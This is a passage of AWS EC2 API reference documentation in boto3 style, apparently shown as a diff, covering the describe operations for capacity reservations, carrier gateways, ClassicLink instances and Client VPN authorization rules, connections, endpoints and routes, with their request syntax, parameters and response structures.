Reservation remains active until you explicitly cancel it. + * limited - The Capacity Reservation expires automatically at a specified date and time. + * instance-match-criteria - Indicates the type of instance launches that the Capacity Reservation accepts. The options include: + * open - The Capacity Reservation accepts all instances that have matching attributes (instance type, platform, and Availability Zone). Instances that have matching attributes launch into the Capacity Reservation automatically without specifying any additional parameters. + * targeted - The Capacity Reservation only accepts instances that have matching attributes (instance type, platform, and Availability Zone), and explicitly target the Capacity Reservation. This ensures that only permitted instances can use the reserved capacity. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'CapacityReservations': [ + { + 'CapacityReservationId': 'string', + 'OwnerId': 'string', + 'CapacityReservationArn': 'string', + 'AvailabilityZoneId': 'string', + 'InstanceType': 'string', + 'InstancePlatform': 'Linux/UNIX'|'Red Hat Enterprise Linux'|'SUSE Linux'|'Windows'|'Windows with SQL Server'|'Windows with SQL Server Enterprise'|'Windows with SQL Server Standard'|'Windows with SQL Server Web'|'Linux with SQL Server Standard'|'Linux with SQL Server Web'|'Linux with SQL Server Enterprise', + 'AvailabilityZone': 'string', + 'Tenancy': 'default'|'dedicated', + 'TotalInstanceCount': 123, + 'AvailableInstanceCount': 123, + 'EbsOptimized': True|False, + 'EphemeralStorage': True|False, + 'State': 'active'|'expired'|'cancelled'|'pending'|'failed', + 'EndDate': datetime(2015, 1, 1), + 'EndDateType': 'unlimited'|'limited', + 'InstanceMatchCriteria': 'open'|'targeted', + 'CreateDate': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **CapacityReservations** _(list) --_ + + Information about the Capacity Reservations. + + * _(dict) --_ + + Describes a Capacity Reservation. + + * **CapacityReservationId** _(string) --_ + + The ID of the Capacity Reservation. + + * **OwnerId** _(string) --_ + + The ID of the AWS account that owns the Capacity Reservation. + + * **CapacityReservationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Capacity Reservation. + + * **AvailabilityZoneId** _(string) --_ + + The Availability Zone ID of the Capacity Reservation. + + * **InstanceType** _(string) --_ + + The type of instance for which the Capacity Reservation reserves capacity. + + * **InstancePlatform** _(string) --_ + + The type of operating system for which the Capacity Reservation reserves capacity. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone in which the capacity is reserved. + + * **Tenancy** _(string) --_ + + Indicates the tenancy of the Capacity Reservation. A Capacity Reservation can have one of the following tenancy settings: + + * default - The Capacity Reservation is created on hardware that is shared with other AWS accounts. + * dedicated - The Capacity Reservation is created on single-tenant hardware that is dedicated to a single AWS account. + * **TotalInstanceCount** _(integer) --_ + + The total number of instances for which the Capacity Reservation reserves capacity. + + * **AvailableInstanceCount** _(integer) --_ + + The remaining capacity. Indicates the number of instances that can be launched in the Capacity Reservation. + + * **EbsOptimized** _(boolean) --_ + + Indicates whether the Capacity Reservation supports EBS-optimized instances. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS- optimized instance. + + * **EphemeralStorage** _(boolean) --_ + + Indicates whether the Capacity Reservation supports instances with temporary, block-level storage. + + * **State** _(string) --_ + + The current state of the Capacity Reservation. A Capacity Reservation can be in one of the following states: + + * active - The Capacity Reservation is active and the capacity is available for your use. + * expired - The Capacity Reservation expired automatically at the date and time specified in your request. The reserved capacity is no longer available for your use. + * cancelled - The Capacity Reservation was manually cancelled. The reserved capacity is no longer available for your use. + * pending - The Capacity Reservation request was successful but the capacity provisioning is still pending. + * failed - The Capacity Reservation request has failed. A request might fail due to invalid request parameters, capacity constraints, or instance limit constraints. Failed requests are retained for 60 minutes. + * **EndDate** _(datetime) --_ + + The date and time at which the Capacity Reservation expires. When a Capacity Reservation expires, the reserved capacity is released and you can no longer launch instances into it. The Capacity Reservation's state changes to expired when it reaches its end date and time. + + * **EndDateType** _(string) --_ + + Indicates the way in which the Capacity Reservation ends. A Capacity Reservation can have one of the following end types: + + * unlimited - The Capacity Reservation remains active until you explicitly cancel it. + * limited - The Capacity Reservation expires automatically at a specified date and time. + * **InstanceMatchCriteria** _(string) --_ + + Indicates the type of instance launches that the Capacity Reservation accepts. The options include: + + * open - The Capacity Reservation accepts all instances that have matching attributes (instance type, platform, and Availability Zone). Instances that have matching attributes launch into the Capacity Reservation automatically without specifying any additional parameters. + * targeted - The Capacity Reservation only accepts instances that have matching attributes (instance type, platform, and Availability Zone), and explicitly target the Capacity Reservation. This ensures that only permitted instances can use the reserved capacity. + * **CreateDate** _(datetime) --_ + + The date and time at which the Capacity Reservation was created. + + * **Tags** _(list) --_ + + Any tags assigned to the Capacity Reservation. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +describe_carrier_gateways(kwargs_) + +Describes one or more of your carrier gateways. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeCarrierGateways) + +**Request Syntax** + +response = client.describe_carrier_gateways( + CarrierGatewayIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **CarrierGatewayIds** (_list_) -- + + One or more carrier gateway IDs. + + * _(string) --_ +* **Filters** (_list_) -- + + One or more filters. + + * carrier-gateway-id - The ID of the carrier gateway. + * state - The state of the carrier gateway (pending | failed | available | deleting | deleted ). + * owner-id - The AWS account ID of the owner of the carrier gateway. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC associated with the carrier gateway. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CarrierGateways': [ + { + 'CarrierGatewayId': 'string', + 'VpcId': 'string', + 'State': 'pending'|'available'|'deleting'|'deleted', + 'OwnerId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **CarrierGateways** _(list) --_ + + Information about the carrier gateway. + + * _(dict) --_ + + Describes a carrier gateway. + + * **CarrierGatewayId** _(string) --_ + + The ID of the carrier gateway. + + * **VpcId** _(string) --_ + + The ID of the VPC associated with the carrier gateway. + + * **State** _(string) --_ + + The state of the carrier gateway. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the carrier gateway. + + * **Tags** _(list) --_ + + The tags assigned to the carrier gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_classic_link_instances(kwargs_) + +Describes one or more of your linked EC2-Classic instances. This request only returns information about EC2-Classic instances linked to a VPC through ClassicLink. You cannot use this request to return information about other instances. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeClassicLinkInstances) + +**Request Syntax** + +response = client.describe_classic_link_instances( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + InstanceIds=[ + 'string', + ], + MaxResults=123, + NextToken='string' +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * group-id - The ID of a VPC security group that's associated with the instance. + * instance-id - The ID of the instance. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC to which the instance is linked. vpc-id - The ID of the VPC that the instance is linked to. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **InstanceIds** (_list_) -- + + One or more instance IDs. Must be instances linked to a VPC through ClassicLink. + + * _(string) --_ +* **MaxResults** (_integer_) -- + + The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + + Constraint: If the value is greater than 1000, we return only 1000 items. + +* **NextToken** (_string_) -- The token for the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Instances': [ + { + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'InstanceId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Instances** _(list) --_ + + Information about one or more linked EC2-Classic instances. + + * _(dict) --_ + + Describes a linked EC2-Classic instance. + + * **Groups** _(list) --_ + + A list of security groups. + + * _(dict) --_ + + Describes a security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **Tags** _(list) --_ + + Any tags assigned to the instance. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_client_vpn_authorization_rules(kwargs_) + +Describes the authorization rules for a specified Client VPN endpoint. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeClientVpnAuthorizationRules) + +**Request Syntax** + +response = client.describe_client_vpn_authorization_rules( + ClientVpnEndpointId='string', + DryRun=True|False, + NextToken='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123 +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + * description - The description of the authorization rule. + * destination-cidr - The CIDR of the network to which the authorization rule applies. + * group-id - The ID of the Active Directory group to which the authorization rule grants access. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results can be seen by sending another request with the nextToken value. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AuthorizationRules': [ + { + 'ClientVpnEndpointId': 'string', + 'Description': 'string', + 'GroupId': 'string', + 'AccessAll': True|False, + 'DestinationCidr': 'string', + 'Status': { + 'Code': 'authorizing'|'active'|'failed'|'revoking', + 'Message': 'string' + } + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **AuthorizationRules** _(list) --_ + + Information about the authorization rules. + + * _(dict) --_ + + Information about an authorization rule. + + * **ClientVpnEndpointId** _(string) --_ + + The ID of the Client VPN endpoint with which the authorization rule is associated. + + * **Description** _(string) --_ + + A brief description of the authorization rule. + + * **GroupId** _(string) --_ + + The ID of the Active Directory group to which the authorization rule grants access. + + * **AccessAll** _(boolean) --_ + + Indicates whether the authorization rule grants access to all clients. + + * **DestinationCidr** _(string) --_ + + The IPv4 address range, in CIDR notation, of the network to which the authorization rule applies. + + * **Status** _(dict) --_ + + The current state of the authorization rule. + + * **Code** _(string) --_ + + The state of the authorization rule. + + * **Message** _(string) --_ + + A message about the status of the authorization rule, if applicable. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_client_vpn_connections(kwargs_) + +Describes active client connections and connections that have been terminated within the last 60 minutes for the specified Client VPN endpoint. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeClientVpnConnections) + +**Request Syntax** + +response = client.describe_client_vpn_connections( + ClientVpnEndpointId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + NextToken='string', + MaxResults=123, + DryRun=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint. + +* **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + * connection-id - The ID of the connection. + * username - For Active Directory client authentication, the user name of the client who established the client connection. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results can be seen by sending another request with the nextToken value. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Connections': [ + { + 'ClientVpnEndpointId': 'string', + 'Timestamp': 'string', + 'ConnectionId': 'string', + 'Username': 'string', + 'ConnectionEstablishedTime': 'string', + 'IngressBytes': 'string', + 'EgressBytes': 'string', + 'IngressPackets': 'string', + 'EgressPackets': 'string', + 'ClientIp': 'string', + 'CommonName': 'string', + 'Status': { + 'Code': 'active'|'failed-to-terminate'|'terminating'|'terminated', + 'Message': 'string' + }, + 'ConnectionEndTime': 'string', + 'PostureComplianceStatuses': [ + 'string', + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Connections** _(list) --_ + + Information about the active and terminated client connections. + + * _(dict) --_ + + Describes a client connection. + + * **ClientVpnEndpointId** _(string) --_ + + The ID of the Client VPN endpoint to which the client is connected. + + * **Timestamp** _(string) --_ + + The current date and time. + + * **ConnectionId** _(string) --_ + + The ID of the client connection. + + * **Username** _(string) --_ + + The username of the client who established the client connection. This information is only provided if Active Directory client authentication is used. + + * **ConnectionEstablishedTime** _(string) --_ + + The date and time the client connection was established. + + * **IngressBytes** _(string) --_ + + The number of bytes sent by the client. + + * **EgressBytes** _(string) --_ + + The number of bytes received by the client. + + * **IngressPackets** _(string) --_ + + The number of packets sent by the client. + + * **EgressPackets** _(string) --_ + + The number of packets received by the client. + + * **ClientIp** _(string) --_ + + The IP address of the client. + + * **CommonName** _(string) --_ + + The common name associated with the client. This is either the name of the client certificate, or the Active Directory user name. + + * **Status** _(dict) --_ + + The current state of the client connection. + + * **Code** _(string) --_ + + The state of the client connection. + + * **Message** _(string) --_ + + A message about the status of the client connection, if applicable. + + * **ConnectionEndTime** _(string) --_ + + The date and time the client connection was terminated. + + * **PostureComplianceStatuses** _(list) --_ + + The statuses returned by the client connect handler for posture compliance, if applicable. + + * _(string) --_ + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_client_vpn_endpoints(kwargs_) + +Describes one or more Client VPN endpoints in the account. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeClientVpnEndpoints) + +**Request Syntax** + +response = client.describe_client_vpn_endpoints( + ClientVpnEndpointIds=[ + 'string', + ], + MaxResults=123, + NextToken='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **ClientVpnEndpointIds** (_list_) -- + + The ID of the Client VPN endpoint. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results can be seen by sending another request with the nextToken value. +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + * endpoint-id - The ID of the Client VPN endpoint. + * transport-protocol - The transport protocol (tcp | udp ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ClientVpnEndpoints': [ + { + 'ClientVpnEndpointId': 'string', + 'Description': 'string', + 'Status': { + 'Code': 'pending-associate'|'available'|'deleting'|'deleted', + 'Message': 'string' + }, + 'CreationTime': 'string', + 'DeletionTime': 'string', + 'DnsName': 'string', + 'ClientCidrBlock': 'string', + 'DnsServers': [ + 'string', + ], + 'SplitTunnel': True|False, + 'VpnProtocol': 'openvpn', + 'TransportProtocol': 'tcp'|'udp', + 'VpnPort': 123, + 'AssociatedTargetNetworks': [ + { + 'NetworkId': 'string', + 'NetworkType': 'vpc' + }, + ], + 'ServerCertificateArn': 'string', + 'AuthenticationOptions': [ + { + 'Type': 'certificate-authentication'|'directory-service-authentication'|'federated-authentication', + 'ActiveDirectory': { + 'DirectoryId': 'string' + }, + 'MutualAuthentication': { + 'ClientRootCertificateChain': 'string' + }, + 'FederatedAuthentication': { + 'SamlProviderArn': 'string', + 'SelfServiceSamlProviderArn': 'string' + } + }, + ], + 'ConnectionLogOptions': { + 'Enabled': True|False, + 'CloudwatchLogGroup': 'string', + 'CloudwatchLogStream': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'SecurityGroupIds': [ + 'string', + ], + 'VpcId': 'string', + 'SelfServicePortalUrl': 'string', + 'ClientConnectOptions': { + 'Enabled': True|False, + 'LambdaFunctionArn': 'string', + 'Status': { + 'Code': 'applying'|'applied', + 'Message': 'string' + } + } + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **ClientVpnEndpoints** _(list) --_ + + Information about the Client VPN endpoints. + + * _(dict) --_ + + Describes a Client VPN endpoint. + + * **ClientVpnEndpointId** _(string) --_ + + The ID of the Client VPN endpoint. + + * **Description** _(string) --_ + + A brief description of the endpoint. + + * **Status** _(dict) --_ + + The current state of the Client VPN endpoint. + + * **Code** _(string) --_ + + The state of the Client VPN endpoint. Possible states include: + + * pending-associate - The Client VPN endpoint has been created but no target networks have been associated. The Client VPN endpoint cannot accept connections. + * available - The Client VPN endpoint has been created and a target network has been associated. The Client VPN endpoint can accept connections. + * deleting - The Client VPN endpoint is being deleted. The Client VPN endpoint cannot accept connections. + * deleted - The Client VPN endpoint has been deleted. The Client VPN endpoint cannot accept connections. + * **Message** _(string) --_ + + A message about the status of the Client VPN endpoint. + + * **CreationTime** _(string) --_ + + The date and time the Client VPN endpoint was created. + + * **DeletionTime** _(string) --_ + + The date and time the Client VPN endpoint was deleted, if applicable. + + * **DnsName** _(string) --_ + + The DNS name to be used by clients when connecting to the Client VPN endpoint. + + * **ClientCidrBlock** _(string) --_ + + The IPv4 address range, in CIDR notation, from which client IP addresses are assigned. + + * **DnsServers** _(list) --_ + + Information about the DNS servers to be used for DNS resolution. + + * _(string) --_ + * **SplitTunnel** _(boolean) --_ + + Indicates whether split-tunnel is enabled in the AWS Client VPN endpoint. + + For information about split-tunnel VPN endpoints, see [Split-Tunnel AWS Client VPN Endpoint](https://docs.aws.amazon.com/vpn/latest/clientvpn-admin/split-tunnel-vpn.html) in the _AWS Client VPN Administrator Guide_ . + + * **VpnProtocol** _(string) --_ + + The protocol used by the VPN session. + + * **TransportProtocol** _(string) --_ + + The transport protocol used by the Client VPN endpoint. + + * **VpnPort** _(integer) --_ + + The port number for the Client VPN endpoint. + + * **AssociatedTargetNetworks** _(list) --_ + + Information about the associated target networks. A target network is a subnet in a VPC. + + * _(dict) --_ + + Describes a target network that is associated with a Client VPN endpoint. A target network is a subnet in a VPC. + + * **NetworkId** _(string) --_ + + The ID of the subnet. + + * **NetworkType** _(string) --_ + + The target network type. + + * **ServerCertificateArn** _(string) --_ + + The ARN of the server certificate. + + * **AuthenticationOptions** _(list) --_ + + Information about the authentication method used by the Client VPN endpoint. + + * _(dict) --_ + + Describes the authentication methods used by a Client VPN endpoint. For more information, see [Authentication](https://docs.aws.amazon.com/vpn/latest/clientvpn-admin/client-authentication.html) in the _AWS Client VPN Administrator Guide_ . + + * **Type** _(string) --_ + + The authentication type used. + + * **ActiveDirectory** _(dict) --_ + + Information about the Active Directory, if applicable. + + * **DirectoryId** _(string) --_ + + The ID of the Active Directory used for authentication. + + * **MutualAuthentication** _(dict) --_ + + Information about the authentication certificates, if applicable. + + * **ClientRootCertificateChain** _(string) --_ + + The ARN of the client certificate. + + * **FederatedAuthentication** _(dict) --_ + + Information about the IAM SAML identity provider, if applicable. + + * **SamlProviderArn** _(string) --_ + + The Amazon Resource Name (ARN) of the IAM SAML identity provider. + + * **SelfServiceSamlProviderArn** _(string) --_ + + The Amazon Resource Name (ARN) of the IAM SAML identity provider for the self-service portal. + + * **ConnectionLogOptions** _(dict) --_ + + Information about the client connection logging options for the Client VPN endpoint. + + * **Enabled** _(boolean) --_ + + Indicates whether client connection logging is enabled for the Client VPN endpoint. + + * **CloudwatchLogGroup** _(string) --_ + + The name of the Amazon CloudWatch Logs log group to which connection logging data is published. + + * **CloudwatchLogStream** _(string) --_ + + The name of the Amazon CloudWatch Logs log stream to which connection logging data is published. + + * **Tags** _(list) --_ + + Any tags assigned to the Client VPN endpoint. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **SecurityGroupIds** _(list) --_ + + The IDs of the security groups for the target network. + + * _(string) --_ + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **SelfServicePortalUrl** _(string) --_ + + The URL of the self-service portal. + + * **ClientConnectOptions** _(dict) --_ + + The options for managing connection authorization for new client connections. + + * **Enabled** _(boolean) --_ + + Indicates whether client connect options are enabled. + + * **LambdaFunctionArn** _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Lambda function used for connection authorization. + + * **Status** _(dict) --_ + + The status of any updates to the client connect options. + + * **Code** _(string) --_ + + The status code. + + * **Message** _(string) --_ + + The status message. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_client_vpn_routes(kwargs_) + +Describes the routes for the specified Client VPN endpoint. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeClientVpnRoutes) + +**Request Syntax** + +response = client.describe_client_vpn_routes( + ClientVpnEndpointId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint. + +* **Filters** (_list_) -- + + One or more filters. Filter names and values are case-sensitive. + + * destination-cidr - The CIDR of the route destination. + * origin - How the route was associated with the Client VPN endpoint (associate | add-route ). + * target-subnet - The ID of the subnet through which traffic is routed. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return for the request in a single page. The remaining results can be seen by sending another request with the nextToken value. +* **NextToken** (_string_) -- The token to retrieve the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Routes': [ + { + 'ClientVpnEndpointId': 'string', + 'DestinationCidr': 'string', + 'TargetSubnet': 'string', + 'Type': 'string', + 'Origin': 'string', + 'Status': { + 'Code': 'creating'|'active'|'failed'|'deleting', + 'Message': 'string' + }, + 'Description': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Routes** _(list) --_ + + Information about the Client VPN endpoint routes. + + * _(dict) --_ + + Information about a Client VPN endpoint route. + + * **ClientVpnEndpointId** _(string) --_ + + The ID of the Client VPN endpoint with which the route is associated. + + * **DestinationCidr** _(string) --_ + + The IPv4 address range, in CIDR notation, of the route destination. + + * **TargetSubnet** _(string) --_ + + The ID of the subnet through which traffic is routed. + + * **Type** _(string) --_ + + The route type. + + * **Origin** _(string) --_ + + Indicates how the route was associated with the Client VPN endpoint. associate indicates that the route was automatically added when the target network was associated with the Client VPN endpoint. add-route indicates that the route was manually added using the **CreateClientVpnRoute** action. + + * **Status** _(dict) --_ + + The current state of the route. + + * **Code** _(string) --_ + + The state of the Client VPN endpoint route. + + * **Message** _(string) --_ + + A message about the status of the Client VPN endpoint route, if applicable. + + * **Description** _(string) --_ + + A brief description of the route. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_client_vpn_target_networks(kwargs_) + +Describes the target networks associated with the specified Client VPN endpoint. + +See also: [AWS API 